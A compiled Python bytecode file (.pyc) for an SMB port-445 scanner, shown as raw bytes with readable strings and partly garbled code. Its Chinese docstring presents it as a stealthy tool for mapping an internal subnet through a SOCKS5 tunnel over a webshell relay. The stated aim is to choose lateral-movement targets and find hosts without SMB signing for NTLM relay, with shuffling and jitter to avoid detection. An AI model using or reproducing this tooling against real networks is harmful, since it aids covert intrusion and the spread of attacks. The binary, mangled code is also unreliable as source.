o
    ~(j%                     @   s   d Z ddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZdZdddddd	Ze
 Zdddddd
ZdadadddZdd Zdd Zdd Zdd Zdd Zedkrje  dS dS )uL  
scan445.py —— 慢速 + 抖动 + 随机顺序 的 SMB(445) 探测脚本

用途：经已建立的 SOCKS5 隧道 (127.0.0.1:1080 -> 目标侧 t.aspx HTTP relay)
      对内网 C 段做低噪声资产发现，为横向移动挑选可用 SMB 目标。

用法：
  python3 scan445.py --cidr 10.10.10.0/24 --port 445 --workers 4       --delay 1.2 2.6 --timeout 9 --out scan445_open.txt --log scan445_full.log

OPSEC 设计：
  * 主机顺序随机洗牌，避免"顺序扫段"特征
  * 每台主机探测前随机等待 --delay 秒（默认 1.2~2.6s），并发受 --workers 限制
  * 连上 TCP 后只发一个 SMB2 NEGOTIATE 请求，读 DialectRevision / SecurityMode：
      - 确认真是 SMB 服务（而非其它服务占 445）
      - 拿 SMB 版本（2.0.2/2.1/3.0/3.0.2/3.1.1）
      - 看是否强制签名（signing=required 则不可 NTLM 中继）
  * 分类：OPEN / CLOSED(RST 拒绝) / FILTERED(超时不可达) / ERR
  * 只有 OPEN 写结果文件；全量明细写日志文件

结果文件格式（每行）：
  <ip>:<port>	<dialect>	signing=<required|enabled|off>	<rtt>
    N)z	127.0.0.1i8  zSMB2.0.2zSMB2.1zSMB3.0zSMB3.0.2zSMB3.1.1i  i  i   i  i  )openclosedfilterederrdoneTc                 C   s   t j  d}d|| f }t& trt|d  t  |r.t|dd W d   dS W d   dS 1 s9w   Y  dS )uI   打印 + 写日志文件；important 行为实时打印（OPEN/ERR 等）z%H:%M:%Sz[%s] %s
T)flushN)datetimenowstrftime_lock_fh_logwriter	   print)line	importanttsfull r   
scan445.pyemit1   s   "r   c                 C   sF   d}t ||k r!| |t | }|std||7 }t ||k s|S )N    r   )lenrecvIOError)snbufcr   r   r   recvn=   s   r    c                 C   s   t  t jt j}|| |t |d t|d}|dkr&td| z
t 	| d}}W n t
yG   tt| g|   d}}Y nw |dt|g | td|  t|d}|d d	krmtd
|d  |S )uX   通过本地 SOCKS5 代理建立到 host:port 的 TCP 连接（成功返回裸 socket）s       s    zsocks greet fail %r      z!H
   r   zsocks rep=%d)socketAF_INETSOCK_STREAM
settimeoutconnectPROXYsendallr    r   	inet_atonOSErrorbytesr   encodestructpack)hostporttimeoutr   gaddratyprepr   r   r   socks_connectG   s"   



 $
r9   c                 C   s  g d}t ddt|dd}|t dd7 }|td7 }|t dd7 }|D ]
}|t d	|7 }q(d
t d	d }|t dd7 }|t dd7 }|t d	d7 }|t d	d7 }|t dd7 }|t dd7 }|t dd7 }|t dd7 }|t dd7 }|t dd7 }|d7 }|| }| dt|dd |  d}t }t|dk rt | dk rz| d}W n
 t	j
y   Y nw |sn||7 }t|dk rt | dk st|dk rdS t|dd dd }t }t||k r4t | dk r4z| |t| }W n t	j
y   Y nw |s n||7 }t||k r4t | dk st|dk r=dS t|dd d}	t|dd d}
|	d@ rXdn|	d@ r_dnd}t|
d|
 |fS )uE   发一个 SMB2 NEGOTIATE，返回 (dialect_str, signing_str) 或 Noner   z<HHHH$   r"   r   z<I   z<Qz<Hs   SMB@   s                       r#   bigr         i   NJ   F   H   littler!   requiredenabledoffz0x%04x)r0   r1   r   osurandomr+   to_bytestimer   r%   r4   int
from_bytesDIALECTSget)r   dialectsbodydhdrpktt0r   needsecmodedialectsignr   r   r   smb2_negotiate[   sj      rZ   c           
      C   s(  	 z|   }W n tjy   Y d S w tt|jd |jd  t }zfzt||j	|j
}t | }d }zt|}W n ty[ } ztd||j	|f  W Y d }~nd }~ww z|  W n	 tyk   Y nw t= td  d7  < td  d7  < tr|rtd||j	|d |d |f  ntd||j	|f  t  W d    n1 sw   Y  |rtd	||j	|d |d |f  n
td
||j	|f  W n tyH } zjt|}t9 td  d7  < d|v rtd  d7  < d}	nd|v rtd  d7  < d}	n
td  d7  < d}	W d    n	1 sw   Y  |	dkr2td||j	|f  ntd|	||j	f dd W Y d }~nDd }~w ty } z3t td  d7  < td  d7  < W d    n	1 snw   Y  td||j	|f  W Y d }~nd }~ww W |   n|   w q)NTr   r"   u#   WARN  %-15s :%d SMB 探测异常 %sr   r   z%s:%d	%s	signing=%s	%.1fs
z%s:%d	TCPOPEN_NO_SMB	-	%.1fs
z-OPEN      %-15s :%-5d %-8s signing=%-8s %.1fsu:   OPEN      %-15s :%-5d (TCP 通，SMB 无响应)      %.1fszrep=4r   FILTEREDzrep=5r   CLOSEDr   ERRzERR       %-15s :%-5d %sz%-9s %-15s :%-5dF)r   )
get_nowaitqueueEmptyrK   sleeprandomuniformdelayr9   r3   r4   rZ   	Exceptionr   closer   _stat
_fh_resultr   r	   r   str	task_done)
wqargsiprU   r   rttinfoexmkindr   r   r   worker   s    



 rs   c               	      s*  t  } | jddd | jdtdd | jdtdd | jd	td
ddgdd | jdtdd | jdddd | jddd | jddd | jdtd d |   tdd  jdD dd t	j
 jdd  D }fd!d|D }t j t| t jd"d#d$at jd"d#d$atd% j jt| j jd&  jd#  jf  td' jtpd(f  t |D ]}| qt   } fd)dt! jD }|D ]}|"  q|D ]}|#  qt   | }td*|t$d+ t$d, t$d- t$d. f  td/ j jf  t%  t%  d S )0Nz--cidrz10.10.10.0/24)defaultz--porti  )typert   z	--workersr?   z--delayr!   g333333?g@)MINMAX)ru   nargsrt   metavarz	--timeoutg      "@z	--exclude u   逗号分隔的排除 IP)rt   helpz--outzscan445_open.txtz--logzscan445_full.logz--shuffle-seedc                 s   s     | ]}|  r|  V  qd S )N)strip).0xr   r   r   	<genexpr>   s    zmain.<locals>.<genexpr>,c                 S   s   g | ]}t |qS r   )ri   r}   hr   r   r   
<listcomp>   s    zmain.<locals>.<listcomp>F)strictc                    s   g | ]}| vr|qS r   r   r   )exclr   r   r      s    ar"   )	bufferinguY   === scan445 启动: cidr=%s port=%d hosts=%d workers=%d delay=%.1f~%.1f timeout=%.1fs ===r   u-   === 顺序已随机化(seed=%s) 排除=%s ===u   无c                    s    g | ]}t jt fd dqS )T)targetrl   daemon)	threadingThreadrs   )r}   _)rl   rk   r   r   r      s    uC   === 完成: 用时 %.0fs | OPEN=%d CLOSED=%d FILTERED=%d ERR=%d ===r   r   r   r   u6   === 开放清单已写入 %s （全量日志 %s） ===)&argparseArgumentParseradd_argumentrL   float
parse_argssetexcludesplit	ipaddress
ip_networkcidrhostsrb   seedshuffle_seedshuffler   outrh   logr   r   r3   r   workersrd   r4   sortedr_   QueueputrK   rangestartjoinrg   rf   )pr   r   rU   thsthdtr   )rl   r   rk   r   main   sT   
(

r   __main__)T)__doc__r   r
   r   rH   r_   rb   r%   r0   sysr   rK   r*   rN   Lockr   rg   rh   r   r   r    r9   rZ   rs   r   __name__r   r   r   r   <module>   s:   

6@-
